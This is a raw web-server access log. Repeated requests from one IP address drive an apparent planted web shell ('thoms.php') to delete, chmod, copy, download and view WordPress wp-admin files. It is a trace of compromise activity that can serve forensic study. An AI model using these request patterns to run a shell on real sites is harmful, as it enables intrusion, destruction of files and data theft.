45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?del=ms-options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?chmod=privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsetup-config.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsetup-config.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /bestjudy.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28747 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?del=install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?del=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /bestjudy.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?chmod=js&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=js&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12479 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?chmod=post-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?del=media-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprivacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprivacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?chmod=images&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=images&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13464 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?del=link-add.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugins.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugins.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?dl=media-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?chmod=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:47 -0400] "GET /thoms.php?del=network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?chmod=font-library.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?del=privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?dl=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28948 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /bestjudy.com.tw/wp-admin/images/ HTTP/1.1" 200 3225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /bestjudy.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ffont-library.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ffont-library.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?del=credits.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=credits.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?chmod=install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:48 -0400] "GET /thoms.php?del=tools.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=tools.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?dl=options-reading.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28921 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?dl=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?dl=link-add.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?del=site-health.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13872 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?del=update-core.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:49 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-tags.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-tags.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /bestjudy.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /bestjudy.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?chmod=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?del=edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fload-styles.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fload-styles.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /bestjudy.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?chmod=widgets.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcredits.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcredits.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?chmod=site-health.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18619 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?del=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?dl=upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11916 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?chmod=css&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=css&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /bestjudy.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?del=images&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?del=images&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:51 -0400] "GET /thoms.php?del=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14380 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:52 -0400] "GET /thoms.php?chmod=comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:52 -0400] "GET /thoms.php?chmod=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:52 -0400] "GET /thoms.php?del=post-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-reading.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-reading.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /bestjudy.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?dl=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12060 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
